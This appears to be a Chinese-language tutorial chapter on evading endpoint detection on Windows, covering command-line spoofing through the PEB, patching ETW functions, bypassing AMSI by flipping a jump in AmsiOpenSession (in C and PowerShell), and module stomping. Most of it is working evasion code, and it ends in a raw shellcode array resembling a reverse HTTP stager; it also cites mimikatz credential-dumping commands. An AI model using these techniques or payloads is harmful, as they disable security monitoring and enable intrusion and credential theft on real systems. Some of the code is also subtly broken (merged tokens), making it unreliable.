上一节我们了解了EDR
的一些特性,包括一些内存扫描,用户态挂钩,调用堆栈分析以及签名扫描等等。这一节我们将来看看如何对抗EDR
。
命令行参数欺骗
EDR
通过大量的传感器来接收事件,这些传感器的可信度是各不相同的。此外,许多与进程相关的重要信息并不会直接包含在事件数据中。而是需要从内核或进程的内存空间中去获取。
例如: PEB
: PEB
中包含了命令行参数以及父进程的ID
等信息。
很多针对EDR
的攻击都是依赖于TOCTOU
漏洞,该漏洞为检查时刻与使用时刻之间的时间差,这意味着EDR
在检查某个事件时,可能会基于旧数据进行决策。攻击者可以在事件被检测之后,被使用之前,修改关键数据,从而绕过安全检查。
什么意思呢?TOCTOU
漏洞其实就是检查时间和使用时间的间隔,其实就是一种竞态条件漏洞。指的是系统在检查某个资源时和实际使用该资源之间的事件间隔。攻击者可以在该时间间隔来修改资源,从而绕过。
我们来举一个例子:
进程启动之后,EDR
可能会检查其PEB
结构中的命令行参数,攻击者可以利用EDR
检测之后来修改PEB
中的命令行参数,改变程序的行为。EDR
可能记录了启动时的参数,但执行时参数已经发生变化,导致检测失效。
EDR
可以通过进程启动时的参数来判断是否是恶意行为。比如我们使用mimikatz.exe
来导出凭据的时候,可能会使用mimikatz.exe "privilege::debug" "lsadump::sam"
该命令。
即使攻击者将mimikatz.exe
修改为notepad.exe
或者一些合法且正常程序的名称,但是命令行参数依然会暴露出恶意的行为。
那么EDR
是如何去检测命令行的呢?EDR
可以监控新进程的命令行参数,在Windows
上可以使用Event ID 4688
来捕获进程启动时的完整命令行。
EDR
维护了一个已知恶意参数的列表,比如"privilege::debug"、"sekurlsa::logonpasswords"
,如果发现这些关键字就会触发警报。
而在Windows
中命令行参数是可以伪造的,进程的命令行参数是存储在PEB
中的,攻击者可以在进程启动后去修改PEB->ProcessParameters->CommandLine
,从而伪造命令行参数。
如果使用CreateProcess
函数,在启动新进程时会包含初始的参数,但是这些参数是不会被内核强制验证的,攻击者可以利用不同的方式来伪造或隐藏真实的参数。
Windows
进程的命令行参数主要存储在两个地方:
- 当进程启动时,它的命令行参数会存储在
PEB
中,PEB->ProcessParameters->CommandLine
,攻击者可以在进程启动后来修改这个值,从而伪造命令行参数。 - 在
Windows
中,父进程创建子进程时,通常会调用CreateProcess
函数,该函数可以指定初始化的参数。
由于PEB
可被进程自身来进行更改,所以其中的数据是不可信的,但是EDR
在查询进程的命令行时,通常会直接信任PEB
中的CommandLine
,这可能导致被攻击者伪造或隐藏真实参数绕过。
当父进程调用CreateProcess
来创建一个子进程时,操作系统会启动新的子进程。CreateProcess
函数会接收命令行参数,比如启动子进程时传递的文件名以及命令,并将这些参数保存到进程的PEB
中。EDR
可以通过监控CreateProcess
事件并检查命令行参数来检测潜在的恶意行为。但是攻击者可以通过如下来绕过EDR
:
- 父进程首先创建一个挂起状态的子进程,首先传递虚假的命令行参数。
EDR
捕获到进程事件时,会看到虚假的命令行参数。- 父进程随后修改子进程的
PEB
,将真实的命令行参数写入到其中,然后继续启动子进程。
我们来拿上几节的参数欺骗举例子:
如下可以看到成功欺骗了该Process Hacker
。
Sysmon
。Bypass ETW
ETW
是一种Windows
内核和应用程序级的事件跟踪机制,允许捕获系统运行时的事件,EtwEventWrite
函数是用于生成这些事件的函数。当恶意软件或攻击者希望隐藏进程的活动或避免监控时,他们可能会使用ETW
补丁技术来拦截或修改EtwEventWrite
函数,从而阻止进程生成ETW
事件。
有几个函数是用于写入和记录ETW
事件的。分别为EtwEventWrite
,EtwEventWriteFull
,EtwEventWriteTransfer
函数。
我们可以在这三个目标函数的开头去插入一个ret
的指令,那么当这三个函数被调用时,执行就会立即返回给调用者,而无需运行原始函数的代码逻辑。
也就是说我们只需要在EtwEventWrite
函数的开头去插入xor eax,eax
指令,将其返回值设置为零,然后插入ret
指令,使函数立即返回即可。
那么接下来修补就很简单了,我们只需要获取到EtwEventWrite
以及EtwEventwriteFull
函数的基址,然后修改其内存保护权限为RWX
,最后将我们的指令插入进去即可。
代码这里有一个简单的例子:
#include <windows.h>
#include <stdio.h>
#include <evntprov.h>
typedef enum {
PATCH_ETW_EVENTWRITE,
PATCH_ETW_EVENTWRITE_FULL
} PATCH;
unsigned char patch[] = { 0x33, 0xC0, 0xC3 };
void* GetTargetFunction(PATCH patchType) {
if (patchType == PATCH_ETW_EVENTWRITE) {
return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
}
else if (patchType == PATCH_ETW_EVENTWRITE_FULL) {
return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull");
}
return NULL;
}
void PatchwWriteFunc(PATCH patchType) {
void* targetFunction = GetTargetFunction(patchType);
if (targetFunction == NULL) {
printf("目标函数地址获取失败n");
return;
}
DWORD oldProtect;
if (!VirtualProtect(targetFunction, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("无法修改内存保护属性n");
return;
}
memcpy(targetFunction, patch, sizeof(patch));
VirtualProtect(targetFunction, sizeof(patch), oldProtect, &oldProtect);
printf("address : 0x%p ", targetFunction);
printf("修补成功n");
}
int main() {
PatchwWriteFunc(PATCH_ETW_EVENTWRITE);
getchar();
return 0;
}
x64dbg
中得知已经插入成功了。需要注意的是虽然我们成功修补了该函数,但是由于常见的用户态ETW
事件其实并不多,所以它的实际作用也不会那么显著。
还有一个函数是NtTraceEvent
函数,该函数不仅会被EtwEventWrite
和EtwEventWriteFull
函数调用,还会被其他的Etw
相关的函数调用,所以我们要修补该函数。那么我们也可以通过上面的方式来进行修改,这里还有另外一种方式就是通过修改SSN
编号来达到调用失败的目的,我们可以将其NtTraceEvent
函数的SSN
编号修改为FF
,它就无法调用了。
那么首先需要找到该函数的SSN
编号,最后通过VirtualProtect
修改内存保护权限,然后将我们的SSN
编号写进去即可。
#include <windows.h>
#include <stdio.h>
#include <evntprov.h>
typedef enum {
PATCH_NT_TRACE_EVENT,
PATCH_ETW_EVENTWRITE,
PATCH_ETW_EVENTWRITE_FULL
} PATCH;
unsigned char patch[] = { 0x33, 0xC0, 0xC3 };
void* GetTargetFunction(PATCH patchType) {
switch (patchType) {
case PATCH_NT_TRACE_EVENT:
return GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
case PATCH_ETW_EVENTWRITE:
return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
case PATCH_ETW_EVENTWRITE_FULL:
return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull");
default:
return NULL;
}
}
// 修补 NtTraceEvent 的 SSN
void PatchNtTraceEventSSN() {
// 获取 NtTraceEvent 函数地址
void* targetFunction = GetTargetFunction(PATCH_NT_TRACE_EVENT);
if (targetFunction == NULL) {
printf("目标函数地址获取失败n");
return;
}
// 搜索 B8 操作码,类似于 mov eax 指令
unsigned char* functionStart = (unsigned char*)targetFunction;
unsigned char* functionEnd = functionStart + 0x20; // 假设函数前20字节包含 SSN
for (unsigned char* p = functionStart; p < functionEnd; ++p) {
if (*p == 0xB8) { // 找到 mov eax 操作码
DWORD oldProtect;
if (!VirtualProtect(p, 6, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("无法修改内存保护属性n");
return;
}
// 修改 SSN 为 0xFF(无效值)
*(DWORD*)(p + 1) = 0xFF;
// 恢复内存保护属性
VirtualProtect(p, 6, oldProtect, &oldProtect);
printf("修补成功n");
return;
}
}
printf("未找到 B8 操作码n");
}
int main() {
PatchNtTraceEventSSN();
getchar();
return 0;
}
那么我们再看观察一下EtwEventWrite
EtwEventWriteFull
EtwEventWriteEx
函数。
我们会发现这三个函数最终都会调用到0x7FFC217C00B4
这个地址。
那么该地址其实对应的是EtwpEventWirteFull
函数,但是该函数是在x64dbg
中看不到的,我们可以在Ida
中查看,这里我就不给大家看了,大家可以自行去查看。
那么我们就可以修补该函数来达到Bypass Etw
的效果。我们可以直接将其call
指令替换为nop
指令。call
指令是1
个字节,那么后面如果跟地址的话,地址是4个字节,也就是说我们如果想要去替换call
指令,那么至少肯定是需要5
个字节的。nop
指令的操作码是90
。
如下代码:
#include <windows.h>
#include <stdio.h>
// 定义各种指令的操作码
#define x64_CALL_INSTRUCTION_OPCODE 0xE8 // CALL 指令的操作码
#define x64_RET_INSTRUCTION_OPCODE 0xC3 // RET 指令的操作码
#define x64_INT3_INSTRUCTION_OPCODE 0xCC // INT3 指令的操作码 (用于断点)
#define NOP_INSTRUCTION_OPCODE 0x90 // NOP 指令的操作码 (空操作)
#define PATCH_SIZE 0x05 // 补丁大小,5 字节
// 定义补丁类型的枚举,用于指定要修补的函数
enum PATCH {
PATCH_NT_TRACE_EVENT, // NtTraceEvent (示例中未使用)
PATCH_ETW_EVENTWRITE, // EtwEventWrite
PATCH_ETW_EVENTWRITE_FULL // EtwEventWriteFull
};
// 函数声明
void* GetTargetFunction(enum PATCH patchType);
BOOL PatchCallInstruction(void* pFunction);
// 获取目标函数的地址,根据不同的补丁类型
void* GetTargetFunction(enum PATCH patchType) {
switch (patchType) {
case PATCH_ETW_EVENTWRITE:
// 获取 "ntdll.dll" 模块中的 "EtwEventWrite" 函数地址
return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
case PATCH_ETW_EVENTWRITE_FULL:
// 获取 "ntdll.dll" 模块中的 "EtwEventWriteFull" 函数地址
return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull");
default:
// 如果没有匹配的补丁类型,返回 NULL
return NULL;
}
}
// 修补函数,通过修改 CALL 指令来注入 NOP 指令(无操作)
BOOL PatchCallInstruction(void* pFunction) {
int i = 0;
DWORD dwOldProtection = 0x00; // 保存原来的内存保护标志
PBYTE pFuncAddress = (PBYTE)pFunction; // 将函数地址转换为字节指针
// 查找 'ret' 指令和 'int3' 指令的位置
while (1) {
if (pFuncAddress[i] == x64_RET_INSTRUCTION_OPCODE && pFuncAddress[i + 1] == x64_INT3_INSTRUCTION_OPCODE) {
printf("[*] Found 'ret' instruction at address: %pn", &pFuncAddress[i]);
break;
}
i++;
}
// 向后查找 CALL 指令
while (i) {
if (pFuncAddress[i] == x64_CALL_INSTRUCTION_OPCODE) {
pFuncAddress = (PBYTE)&pFuncAddress[i];
printf("[*] Found 'call' instruction at address: %pn", &pFuncAddress[i]);
break;
}
i--;
}
// 将内存权限更改为 RWX(可读写执行),以便修改代码
if (!VirtualProtect(pFuncAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect [1] failed with error %d n", GetLastError());
return FALSE;
}
// 将目标地址处的指令替换为 NOP 指令,实际上就是跳过这些指令
for (int j = 0; j < PATCH_SIZE; j++) {
pFuncAddress[j] = NOP_INSTRUCTION_OPCODE; // 通过 NOP 指令实现跳过
}
// 恢复原来的内存保护
if (!VirtualProtect(pFuncAddress, PATCH_SIZE, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] failed with error %d n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
// 获取 "EtwEventWrite" 函数的地址
void* pNtTraceEvent = GetTargetFunction(PATCH_ETW_EVENTWRITE);
// 对该函数进行修补,替换为 NOP 指令
PatchCallInstruction(pNtTraceEvent);
// 等待用户输入
getchar();
return 0;
}
Bypass AMSI
AMSI
是Windows
中的一项功能,它是一个反恶意软件扫描的接口,AMSI
的目的是将应用程序与反恶意软件产品提供的常见软件扫描和保护技术无缝的集成在一起。它能够与流行的脚本语言,比如powershell
,jscript
vbscript
紧密集合。
AMSI
是基于签名来检查的,这意味着AMSI
有一个非常庞大的签名库。其实就是签名字符串,这些签名会和一些特定的恶意关键字,URL
,函数来相对应。AMSI
是作为一个安全功能来存在的,它不会依赖于任何第三方恶意软件供应商来进行检测和防护。它可以和第三方反病毒产品协同合作,但是它不会依赖于第三方反病毒软件的签名库,因为它有自己的签名库。
AMSI
是通过使用AMSI
相关的API
函数来进行扫描和检测工作。这些API
都是从amsi.dll
中导出的。这个dll
会被注入到目标程序的虚拟内存中,以启动扫描和检测潜在的风险。
这里简单了解几个函数:
AmsiOpenSession
函数: 该函数用于启动一个AMSI
的会话,以便随后可以扫描和分析其内容,具体来说AmsiOpenSession
会创建一个会话的句柄。AmsiScanBuffer
函数: 该函数用于将一个内存缓冲区提交给AMSI
进行扫描,该缓冲区可以是任何内容,比如脚本,文件内容,内存数据等等。AmsiScanString
函数: 该函数还会将一个字符串提交给Amsi
进行扫描,该字符串可以包含脚本,命令或文本数据,Amsi
会对其字符串进行分析,并返回指示其是否包含恶意内容的结果。
前面说过,amsi.dll
会被注入到目标进程的虚拟地址空间中,那么哪些进程会被注入呢?比如powershell
,cscript
,jscript
等等。
如下图:
当我们执行invoke-mimikatz
命令时:
断点会在AmsiOpenSession
这里断下。
AmsiScanString
这个函数这里断下。powershell
脚本:https://amsi.fail/
那么修补AMSI
其实和修补ETW
是差不多的,但是在这之前我们需要注意的是如果Defender
没有开启,那么Amsi
将没有任何作用。
比如我们将其Defender
关闭:
Amsi
相关函数之前,我们来首先来看看AmsiOpenSession
函数。这段汇编主要是检测参数的有效性,首先检查传入的参数rdx
和rcx
寄存器是否为空,验证rcx
寄存器指向的结构是否是AMSI
相关的数据,以及检查结构体内的关键指针是否为NULL
。
如果任意的条件不满足则会跳转到7FFC1A9D23FB
该地址,该地址的汇编指令用于错误处理和直接返回。
那么修补的话就很简单了,我们只需要在提供有效参数的同时,让他跳转到7FFC1A9D23FB
地址即可。
那么我们可以将je
指令修改为jne
指令,je
指令是当比较两个值相等时,执行跳转。而jne
指令是比较两个值不相等时执行跳转。
如下代码:
#include <windows.h>
#include <stdio.h>
// 定义 x64 汇编指令的操作码(opcode)
#define x64_RET_INSTRUCTION_OPCODE 0xC3 // `RET`(函数返回)
#define x64_INT3_INSTRUCTION_OPCODE 0xCC // `INT3`(调试中断)
#define x64_JE_INSTRUCTION_OPCODE 0x74 // `JE`(等于时跳转)
#define x64_JNE_INSTRUCTION_OPCODE 0x75 // `JNE`(不等时跳转)
/**
* @brief 修改 AmsiOpenSession 使其绕过安全检测
* @param pAmsiOpenSession 指向 AmsiOpenSession 函数代码的指针
* @return 成功返回 TRUE,失败返回 FALSE
*/
BOOL PatchAmsiOpenSessionJe(IN PBYTE pAmsiOpenSession) {
PBYTE px74Opcode = NULL; // 用于存储 `JE` 指令的位置
DWORD i = 0x00, dwOldProtection = 0x00; // `i` 用于遍历代码,`dwOldProtection` 存储原始内存保护
if (!pAmsiOpenSession) { // 如果 `pAmsiOpenSession` 为空,则返回 `FALSE`
return FALSE;
}
// **第一步:找到 `AmsiOpenSession` 末尾的 `RET; INT3; INT3` 结构**
while (1) {
if (pAmsiOpenSession[i] == x64_RET_INSTRUCTION_OPCODE && // `RET`
pAmsiOpenSession[i + 1] == x64_INT3_INSTRUCTION_OPCODE && // `INT3`
pAmsiOpenSession[i + 2] == x64_INT3_INSTRUCTION_OPCODE) { // `INT3`
break; // 找到 `AmsiOpenSession` 代码末尾,退出循环
}
i++;
if (i > 0x1000) { // 限制搜索范围,防止死循环
return FALSE;
}
}
// **第二步:从 `RET` 向前查找 `JE` 指令**
while (i) {
if (pAmsiOpenSession[i] == x64_JE_INSTRUCTION_OPCODE) { // 查找 `JE`(0x74)
px74Opcode = &pAmsiOpenSession[i]; // 记录 `JE` 的内存地址
break;
}
i--;
}
if (!px74Opcode) { // 如果没有找到 `JE` 指令,返回 `FALSE`
return FALSE;
}
// **第三步:修改内存保护,使其可写**
if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
return FALSE;
}
// **第四步:修改 `JE` 为 `JNE`**
*(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE; // 将 `0x74` 改为 `0x75`
// 确保修改成功
if (*(BYTE*)px74Opcode != x64_JNE_INSTRUCTION_OPCODE) {
return FALSE;
}
// **第五步:恢复内存保护**
if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection)) {
return FALSE;
}
return TRUE; // 修改成功
}
int main() {
// **第一步:加载 `amsi.dll`**
if (!LoadLibrary(TEXT("amsi.dll"))) {
return -1; // 加载失败
}
// **第二步:获取 `AmsiOpenSession` 的地址**
PVOID pAmsiOpenSession = GetProcAddress(GetModuleHandle(TEXT("amsi.dll")), "AmsiOpenSession");
if (!pAmsiOpenSession) {
return -1; // 获取失败
}
// **第三步:修改 `AmsiOpenSession` 的 `JE` 指令**
if (PatchAmsiOpenSessionJe((PBYTE)pAmsiOpenSession)) {
printf("Patch success!n"); // 修改成功
} else {
printf("Patch error!n"); // 修改失败
}
getchar(); // 等待用户输入
return 0;
}
那么我们也可以使用powershell
来进行编写如上代码:
重命名为: invoke.ps1
执行即可。
$Win32API = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type -TypeDefinition $Win32API -PassThru
# 加载 amsi.dll
$amsi = [Win32]::LoadLibrary("amsi.dll")
if ($amsi -eq [IntPtr]::Zero) {
Write-Host "[-] 无法加载 amsi.dll"
exit
}
# 获取 AmsiOpenSession 的地址
$amsiOpenSession = [Win32]::GetProcAddress($amsi, "AmsiOpenSession")
if ($amsiOpenSession -eq [IntPtr]::Zero) {
Write-Host "[-] 无法找到 AmsiOpenSession"
exit
}
Write-Host "[*] AmsiOpenSession 地址: $([Convert]::ToString($amsiOpenSession.ToInt64(), 16))"
# 修改内存保护,使其可写
$oldProtect = 0
[Win32]::VirtualProtect($amsiOpenSession, 0x1000, 0x40, [ref]$oldProtect)
# 初始化变量
$i = 0
$foundJE = $false
$maxSearch = 0x1000 # 限制搜索范围
# 第一轮:寻找 `RET` + `INT3` + `INT3` 的模式(即结束标记)
while ($i -lt $maxSearch) {
$byte = New-Object byte[] 3
$currentAddress = [System.IntPtr]::Add($amsiOpenSession, $i) # 使用 IntPtr.Add 来处理偏移
[System.Runtime.InteropServices.Marshal]::Copy($currentAddress, $byte, 0, 3)
# 检查是否匹配 `RET` + `INT3` + `INT3`
if ($byte[0] -eq 0xC3 -and $byte[1] -eq 0xCC -and $byte[2] -eq 0xCC) {
Write-Host "[*] 找到 `RET` + `INT3` + `INT3`,退出查找"
break
}
$i++
}
# 第二轮:从 `RET` 向前查找 `JE` 指令(0x74)
while ($i -gt 0) {
$byte = New-Object byte[] 1
$currentAddress = [System.IntPtr]::Add($amsiOpenSession, $i) # 使用 IntPtr.Add 来处理偏移
[System.Runtime.InteropServices.Marshal]::Copy($currentAddress, $byte, 0, 1)
if ($byte[0] -eq 0x74) { # 0x74 = `JE`
Write-Host "[*] 找到 `JE` 指令,开始修改..."
# 修改为 `JNE`(0x75)
$newBytes = [byte[]] (0x75) # 0x75 = `JNE`
[System.Runtime.InteropServices.Marshal]::Copy($newBytes, 0, $currentAddress, 1)
Write-Host "[+] 修改成功!AMSI 已绕过!"
$foundJE = $true
break
}
$i--
}
# 如果没有找到 `JE` 指令
if (-not $foundJE) {
Write-Host "[-] 未找到 `JE` 指令,修改失败!"
}
# 还原内存保护
[Win32]::VirtualProtect($amsiOpenSession, 0x1000, $oldProtect, [ref]$null)
powershell
中加载的amsi
。模块踩踏
模块踩踏主要是将shellcode
注入到合法DLL
的.text
部分。这样我们就不需要去申请内存了,之前我们是通过VirtualAlloc
申请私有内存,将shellcode
写入到其中。
.text
部分是通常包含了可执行的代码,那么攻击者就可以覆盖其这部分代码,将合法的代码替换为shellcode
。
那么首先肯定是需要去加载某个DLL
文件的,一般我们会使用LoadLibrary
函数去动态加载DLL
,但是这会出现一个问题,通过LoadLibrary
函数去动态加载DLL
会受到控制流(CFG
)的限制。CFG
会组织执行未经过签名的和验证的代码。
这里可以使用NtCreateSection
函数以及NtMapViewOfSection
函数来手动映射DLL
文件,这可以确保映射的内存区域为SEC_IMAGE
权限。
NtCreateSection
函数用于创建一个节对象,该对象可以用于映射内存,节对象可以是文件,物理内存。
NtMapViewOfSection
函数用于将一个节对象映射到当前进程或另外的进程地址空间中。
如下代码:
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 手动定义 SECTION_INHERIT
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
// NtCreateSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
PLARGE_INTEGER MaximumSize OPTIONAL,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle OPTIONAL
);
// NtMapViewOfSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset OPTIONAL,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
int main() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
HANDLEhFile = INVALID_HANDLE_VALUE;
hFile = CreateFileW(L"C:\Windows\System32\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
PHANDLE hSection = NULL;
NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile);
ULONG_PTR uMappedModule = NULL;
SIZE_TsViewSize = NULL;
NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE);
}
加载DLL
之后,我们需要去验证一下DLL
的.text
部分是否可以容纳我们的shellcode
。需要注意的是我们不会在.text
部分的开头去注入shellcode
,而是在入口点注入,入口点是程序开始执行的地址,通过在入口点注入shellcoe
,可以确保当程序执行时,会首先执行我们的shellcode
。
如下代码:
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 手动定义 SECTION_INHERIT
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
// NtCreateSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
PLARGE_INTEGER MaximumSize OPTIONAL,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle OPTIONAL
);
// NtMapViewOfSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset OPTIONAL,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define DEMON
#ifdef DEMON
unsigned char shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78,
0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67,
0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56,
0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24,
0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41,
0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83,
0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF,
0xFF, 0xFF, 0x5D, 0x6A, 0x00, 0x49, 0xBE, 0x77, 0x69, 0x6E, 0x69, 0x6E, 0x65, 0x74, 0x00, 0x41,
0x56, 0x49, 0x89, 0xE6, 0x4C, 0x89, 0xF1, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x48,
0x31, 0xC9, 0x48, 0x31, 0xD2, 0x4D, 0x31, 0xC0, 0x4D, 0x31, 0xC9, 0x41, 0x50, 0x41, 0x50, 0x41,
0xBA, 0x3A, 0x56, 0x79, 0xA7, 0xFF, 0xD5, 0xEB, 0x73, 0x5A, 0x48, 0x89, 0xC1, 0x41, 0xB8, 0x61,
0x1F, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x41, 0x51, 0x6A, 0x03, 0x41, 0x51, 0x41, 0xBA,
0x57, 0x89, 0x9F, 0xC6, 0xFF, 0xD5, 0xEB, 0x59, 0x5B, 0x48, 0x89, 0xC1, 0x48, 0x31, 0xD2, 0x49,
0x89, 0xD8, 0x4D, 0x31, 0xC9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xBA, 0xEB,
0x55, 0x2E, 0x3B, 0xFF, 0xD5, 0x48, 0x89, 0xC6, 0x48, 0x83, 0xC3, 0x50, 0x6A, 0x0A, 0x5F, 0x48,
0x89, 0xF1, 0x48, 0x89, 0xDA, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0x31, 0xC9, 0x52,
0x52, 0x41, 0xBA, 0x2D, 0x06, 0x18, 0x7B, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x85, 0x9D, 0x01, 0x00,
0x00, 0x48, 0xFF, 0xCF, 0x0F, 0x84, 0x8C, 0x01, 0x00, 0x00, 0xEB, 0xD3, 0xE9, 0xE4, 0x01, 0x00,
0x00, 0xE8, 0xA2, 0xFF, 0xFF, 0xFF, 0x2F, 0x7A, 0x47, 0x6B, 0x31, 0x00, 0xC4, 0x8F, 0x78, 0xBD,
0x62, 0x9C, 0xBC, 0x6F, 0xEA, 0x30, 0x98, 0x43, 0xEF, 0xC1, 0x45, 0xE5, 0x58, 0xF8, 0xBB, 0xEA,
0xAB, 0x02, 0xF3, 0x0A, 0x13, 0x81, 0xE9, 0xA3, 0x1E, 0x54, 0xF2, 0x5E, 0x08, 0x98, 0x21, 0xFB,
0x7D, 0x47, 0x10, 0xBA, 0x60, 0xA0, 0x83, 0x82, 0xFE, 0x10, 0x64, 0xBF, 0x7A, 0xD0, 0xF6, 0xCE,
0xA0, 0xA9, 0x59, 0x90, 0x54, 0x88, 0x88, 0xDA, 0x20, 0xBF, 0x82, 0xFA, 0xAA, 0x43, 0x6D, 0x8E,
0x45, 0x59, 0x13, 0x09, 0x16, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2D, 0x41, 0x67, 0x65, 0x6E, 0x74,
0x3A, 0x20, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x2F, 0x34, 0x2E, 0x30, 0x20, 0x28, 0x63,
0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6C, 0x65, 0x3B, 0x20, 0x4D, 0x53, 0x49, 0x45, 0x20,
0x38, 0x2E, 0x30, 0x3B, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x4E, 0x54, 0x20,
0x36, 0x2E, 0x31, 0x3B, 0x20, 0x57, 0x4F, 0x57, 0x36, 0x34, 0x3B, 0x20, 0x54, 0x72, 0x69, 0x64,
0x65, 0x6E, 0x74, 0x2F, 0x34, 0x2E, 0x30, 0x3B, 0x20, 0x53, 0x4C, 0x43, 0x43, 0x32, 0x3B, 0x20,
